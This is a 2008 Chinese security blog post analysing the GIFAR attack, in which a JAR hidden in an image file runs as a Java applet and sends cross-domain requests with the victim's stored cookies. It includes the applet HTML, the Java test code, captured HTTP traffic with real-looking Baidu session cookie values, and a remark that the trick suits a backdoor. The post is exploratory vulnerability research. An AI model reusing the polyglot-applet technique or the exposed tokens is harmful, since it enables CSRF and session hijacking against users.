关于GIFAR的一些补充分析
作者：axis
原文链接
思路有点乱，想到什么说什么吧。
这个漏洞的危害主要在于跨域的影响上。普通的XSS漏洞可能需要在target site上找一个XSS的漏洞，然后诱使受害者去访问存在XSS的页面或者是点击一个XSS的link。
但是这类跨域漏洞不同，他不需要在target site上做什么，而是只需要在任意一个第三方站点上构造一些恶意脚本就可以实施攻击了，攻击范围将扩大许多许多。当然这个漏洞有点特殊，我们稍后再讲细节。
其次就是老外在文章里说的，java只是这种利用方式的一种，这种捆绑文件的方式还有很多利用途径。其实这里主要说的就是如果在服务端没有做好过滤，这种捆绑文件能够被某些客户端程序强行解析的话，就会存在一个利用。
就这个漏洞来说，就是jvm会去强行解析jar，不管那个文件头是不是jar，也不管后缀，只要后面有jar文件头，就会去解析他。
其次，这个漏洞之所以成为漏洞，其核心处就在于applet里发起的请求是用的stored cookie，而不是session cookie。 (详见)
这点才是这个漏洞最核心的地方。因为对于CSRF而言，使用的是session cookie，所以攻击者实施攻击的时候可能还需要诱骗用户打开个页面，以保证浏览器中存在target site的session cookie，才能CSRF成功。
而stored cookie是存在本地的，就算浏览器中没有session cookie，都能成功实施GIFAR攻击，而applet发起的socket，可以针对target site做更多事情，比如发起其他协议的请求。所以pdp才会说这个漏洞之所以危险，是在于它打破了浏览器的安全模型。
如果SUN要修补的话，肯定也是在这里进行修补，即把发起的http请求变成使用session cookie。
但是经过我这两天的测试，发现这个漏洞还是有一定的局限性的。因为我发现可以取到http response的头和cookie，但是取不到http request的头和cookie。 就是说前面提到的这个applet发起的请求里，会自动使用的stored cookie从applet里是读不出来的。也许是我土吧，但没找到方法。
下面看一下测试过程：
首先构造html页面
<img src=”http://hiphotos.baidu.com/aullik5/pic/item/5a3258b4d970e0d836d3cadf.jpg” />
<applet code=”cn.isto.XSSJApplet” width=”1000″ height=”200″ codebase=”http://hiphotos.baidu.com/aullik5/pic/item/” archive=”b2cdb444ab1a4631cffca3b2.jpg” name=”xss”>
<PARAM NAME=”url” VALUE=”http://hiphotos.baidu.com/aullik5/pic/item/5a3258b4d970e0d836d3cadf.jpg“>
<PARAM NAME=”cookie” VALUE=”testcookie”>
<PARAM NAME=”add” VALUE=”fvckfvckfvck”>
</applet>
<applet code=”cn.isto.XSSJApplet” width=”1000″ height=”200″ codebase=”http://www.cnitblog.com/images/cnitblog_com/axis/” archive=”00.JPG” name=”xss”>
<PARAM NAME=”url” VALUE=”http://www.cnitblog.com/axis/admin/”>
</applet>
其中baidu里的
b2cdb444ab1a4631cffca3b2.jpg
和 cnitblog里的
00.JPG
都是我事先捆绑好的文件，applet会把他们当作jar来执行
jar包里的核心代码如下：（感谢kj的编码）
/** Initializes the applet XSSJApplet */
public void init() {
URLConnection uc;
try {
initComponents();
// 创建 HTTP连接
URL url = new URL(this.getParameter(“url”));
uc= url.openConnection();
uc.setDoInput(true);
// 取参数，在http头里加一个字段，修改一个字段
String ck=this.getParameter(“cookie”);
String add=this.getParameter(“add”);
uc.addRequestProperty(“add“, add);
uc.setRequestProperty(“Cookie“, ck);
// 试图获取所有request的属性，即http头
String reqheads=uc.getRequestProperties().toString();
// 尝试单独获取HTTP头里的字段
reqheads+=uc.getRequestProperty(“Cookie”);
reqheads+=uc.getRequestProperty(“add”);
reqheads+=uc.getRequestProperty(“Accept“); // 注意我们自己没有设置这个字段
// 获取HTTP response头
String repheads=uc.getHeaderFields().toString();
// 打印出来
jtaOutput.setText(reqheads+”\n”+repheads);
} catch (Exception ex) {
ex.printStackTrace();
}
然后开始请求
按照攻击的流程，测试环境如下：
在 172.16.xx.xx 上放置该html页面(我们的第三方恶意站点)
受害者访问后浏览器会依次请求百度上的一个图片，applet引用百度上的一个jpg文件， applet引用cnitblog上的一个jpg文件
结果如下：
第一个包，引用百度上的图片：
GET /aullik5/pic/item/5a3258b4d970e0d836d3cadf.jpg HTTP/1.1
Accept: */*
Referer: http://172.16.52.6/gifar.html
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: hiphotos.baidu.com
Connection: Keep-Alive
Cookie: BAIDUID=664BDBF912A0BD8529B578F1D2D89628:FG=1
HTTP/1.1 200 OK
Date: Thu, 07 Aug 2008 07:38:09 GMT
Server: Apache
Content-Type: image/gif
Cache-Control: no-cache
Connection: close
Transfer-Encoding: chunked
711
GIF89a..F…..(后面省略，是图片)
applet里发出的请求：
GET /aullik5/pic/item/5a3258b4d970e0d836d3cadf.jpg HTTP/1.1
add: fvckfvckfvck
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03
Host: hiphotos.baidu.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Cookie: BAIDUID=664BDBF912A0BD8529B578F1D2D89628:FG=1; BDSTAT=80f76ee5014308411e17d7e7086766c825d08e110ae93901353fb80e79ec5066; BD_UTK_DVT=1; _EXPS=0; BDTIP=1215783899; BDUSS=ZtcjdSeWNKQn5xNGpzNGNhYVJ5WUtlOXRoS2JINVN2djJXaFd4TVBaeFZycUpJQmdBQUFBJCQAAAAAAAAAAAEAA
ABCW-MEdGVzdHRlc3Q5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
FUhe0hVIXtITD;testcookie
HTTP/1.1 200 OK
Date: Thu, 07 Aug 2008 07:38:14 GMT
Server: Apache
Content-Type: image/jpeg
Cache-Control: max-age=315360000
Expires: Sun, 08 May 2016 14:12:03 GMT
Last-Modified: Sat, 29 Apr 2006 07:04:00 GMT
Connection: close
Transfer-Encoding: chunked
23292
……JFIF…..`.`…..TExif..II*..(后面是图片的内容)
cnitblog的和此类似，不再重复贴了。
对比两个cookie值，就可以看出差异了，图片请求只是一个session cookie，而applet里的请求则是一个stored cookie，这个差异就导致了在浏览器中不存在session cookie的情况下，构造CSRF时候，img标签会CSRF失败，而使用applet则会成功。
效果图如下：
其中第一个窗口里的内容为：
{Cookie=[testcookie], add=[fvckfvckfvck]}testcookiefvckfvckfvcknull // 这个是request的
//以下是response的
{null=[HTTP/1.1 200 OK],
Date=[Thu, 07 Aug 2008 07:38:14 GMT],
Transfer-Encoding=[chunked],
Expires=[Sun, 08 May 2016 14:12:03 GMT],
Last-Modified=[Sat, 29 Apr 2006 07:04:00 GMT],
Content-Type=[image/jpeg],
Connection=[close],
Server=[Apache],
Cache-Control=[max-age=315360000]}
可以看到，testcookie和fvckfvckfvck都是我们自己添加的http头，而getRequestProperty ()和 getRequestProperties() 都只能取到我们自己定义的字段，而取不到发起连接时自动附加的HTTP 头，从而也就取不到stored cookie了。
这种applet不知道有什么有什么好方法进行调试，用OD也不知道要断在哪里，没有symbol文件。不然可以去看看getRequestProperty() 函数到底出啥问题了。
继续看下去，第二个窗口里的内容为：
{} // request 没去抓了
// 以下是response的
{null=[HTTP/1.1 200 OK],
X-AspNet-Version=[2.0.50727],
Date=[Thu, 07 Aug 2008 07:38:12 GMT],
Content-Length=[4823],
Set-Cookie=[AreYouHuman=6507; path=/],
Content-Type=[text/html; charset=utf-8],
Server=[Microsoft-IIS/7.0], // IIS 7.0 这是server2008还是自己改了banner啊？？
X-Powered-By=[ASP.NET],
Cache-Control=[private]}
所以这个漏洞，虽然跨域，但是却取不到cookie。使用的是store cookie，比csrf要更好用。但读不到cookie不得不说是一种遗憾。
但危害在于只要能往该域上传任意一个文件（不一定要图片），都能够利用这个漏洞，用来做后门会是一个非常好的选择。
也许谁还有更好的方法，能把cookie取出来，还请不吝赐教。
